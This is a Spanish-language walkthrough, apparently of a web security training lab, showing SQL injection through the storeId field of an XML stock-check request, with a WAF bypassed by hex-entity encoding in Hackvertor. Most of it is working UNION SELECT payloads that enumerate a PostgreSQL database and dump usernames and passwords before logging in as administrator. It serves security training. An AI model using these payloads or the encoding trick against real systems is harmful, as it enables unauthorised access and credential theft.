SQLI Lab 18
Skills
- SQL injection with filter bypass via XML encoding
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad
de inyección SQL
en su función de verificación
de stock
. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que se puede usar un ataque UNION
para obtener datos
de otras tablas
. La base
de datos
contiene una tabla
llamada users
, que almacena los nombres
de usuario
y contraseñas
de los usuarios registrados
. Para resolver el laboratorio, debemos realizar un ataque
de inyección SQL
para obtener
las credenciales
del usuario administrador
y luego iniciar sesión
en su cuenta
Resolución
Al acceder
a la web
nos sale esto
Si hacemos click en View details
vemos que hay un botón de Check stock
Si pinchamos en Check stock
y capturamos
la petición
con Burpsuite
vemos una estructura en XML
Si enviamos
la petición
recibiremos en número
de unidades
disponibles
Con el simple hecho de poner una '
en alguna de los campos ya nos lo detecta
como ataque
, esto es debido a un WAF
Para bypassear
el WAF
podemos usar herramientas
como Hackvertor
para ofuscar
nuestro payload
y evitar
que sea detectado
. Para encodear nuestro payload debemos hacer click derecho > Extensions > Hackvertor > Encode > hex_entities
Vemos que si ponemos una '
nos devuelve 0 unidades
He probado ambos campos pero solamente es inyectable
el campo storeId
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select null<@/hex_entities>
</storeId>
</stockCheck>
Si enviamos
la petición
vemos null
en la respuesta
Listamos
la version
y la base
de datos
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select version()<@/hex_entities>
</storeId>
</stockCheck>
Vemos que estamos ante un PostgreSQL
Listamos
los nombres
de las bases
de datos
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select datname from pg_database<@/hex_entities>
</storeId>
</stockCheck>
Listamos
la base de datos actual
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select current_database()<@/hex_entities>
</storeId>
</stockCheck>
Listamos
los esquemas
para la base de datos en uso
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select string_agg(schema_name,', ') from information_schema.schemata<@/hex_entities>
</storeId>
</stockCheck>
Listamos tablas
de la base de datos public
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select string_agg(table_name,', ') from information_schema.tables where table_schema='public'<@/hex_entities>
</storeId>
</stockCheck>
Listamos columnas
de la tabla users
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select string_agg(column_name,', ') from information_schema.columns where table_name='users'<@/hex_entities>
</storeId>
</stockCheck>
Listamos
los usuarios
y contraseñas
de la tabla users
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>1 union select username || ' : ' || password from users<@/hex_entities>
</storeId>
</stockCheck>
Accedemos
al panel administrativo